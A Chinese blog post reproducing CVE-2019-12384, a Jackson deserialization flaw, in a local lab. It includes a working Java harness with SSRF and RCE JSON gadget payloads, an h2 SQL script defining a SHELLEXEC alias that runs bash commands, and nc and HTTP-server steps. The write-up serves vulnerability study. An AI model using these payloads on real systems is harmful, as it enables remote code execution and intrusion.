CVE-2019-12384:Jackson反序列化漏洞复现


CVE-2019-12384:Jackson反序列化漏洞复现

分析

根据Jackson开发者提到的信息,触发这个Jackson漏洞需要满足如下要求,所以该漏洞评级为中危:

  1. 目标应用接收到不可信客户端发送的JSON数据
  2. 目标应用使用多态类型处理方式来处理java.lang.Object类型的属性;
  3. 目标应用至少包含能够在Java classpath中利用的一个“gadget”类。在该漏洞中就是依赖的第三方jar包有点多,除去jackson自身的jar包以外还需要logback-core和h2;

环境搭建

本文中用到的第三方库有:

  • jackson-databind 2.9.8
  • jackson-annotations-2.9.8.jar
  • jackson-core-2.9.8.jar
  • logback-core-1.3.0-alpha4.jar
  • h2 1.4.199

http://www.mvnrepository.com上下载即可。

漏洞代码

package com.baiyang;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.h2.Driver;

public class Main {

    public static void main(String[] args) {
        try {
            Class.forName("org.h2.Driver").newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }


        System.out.println("Mapping");

        //该条payload用于SSRF的复现

        String SSRF = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:4444/~/hacker\"}]";

        //该条payload用于RCE的复现

        String RCE = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}]";

        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);

        System.out.println("Serializing");
        Object obj = null;
        try {
            //更换SSRF或RCE即可测试SSRF或者RCE漏洞的payload
            obj = mapper.readValue(RCE, java.lang.Object.class);
        } catch(Exception e) {
            e.printStackTrace();
        }

        System.out.println("objectified");

        try {
            System.out.println("stringified: " + mapper.writeValueAsString(obj));
        } catch(Exception e) {
            e.printStackTrace();
        }

    }
}

构建步骤

本文在IDEA上生成项目

  1. 新建java Commandline项目
  2. 将上述代码替换类
  3. 单击红框中的图标,进入项目结构设置
  4. 按照下图的步骤将下载好的外部jar包导入项目文件

攻击流程

  1. 将下面的sql脚本文件保存为inject.sql
    CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
         String[] command = {"bash", "-c", cmd};
         java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
         return s.hasNext() ? s.next() : "";  }
    $$;
    CALL SHELLEXEC('open /Applications/Calculator.app')

:本文在MacOS下执行的RCE,如在其它环境,请自行更换CALL SHELLEXEC中的命令。

  1. 执行本地执行python2 -m SimpleHTTPServer 80,在本地启动HTTP服务

RCE payload测试

将java文件中的payload更换为RCE,编译并运行java程序

SSRF payload测试

  1. 执行nc -l -vv 4444,便于观察SSRF的结果
  2. 将java文件中的payload更换为SSRF,编译并运行java程序

参考


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
工控安全渗透 工控安全渗透
工控安全渗透工业控制系统的结构和场景工业控制系统场景——啤酒厂 啤酒工厂布局 监控总控室 生产线设备 工业控制系统结构 传感器和执行器 可编程控制器(PLC) 工业网络及现场总线 工业计算机及工业组态软件 工业控制系统应用场景
2019-07-28
下一篇 
Kerberos内网安全——组策略与ACL Kerberos内网安全——组策略与ACL
组策略的部署及下发原理 本地组策略和域内组策略 域服务器如何存储组策略 组策略的下发和获取 客户端如何存储组策略 Server Manager的组策略管理工具更专业的组策略管理工具GPMC,可以管理多个域创建并编辑组策略的内容组策略分作主
2019-07-24
  目录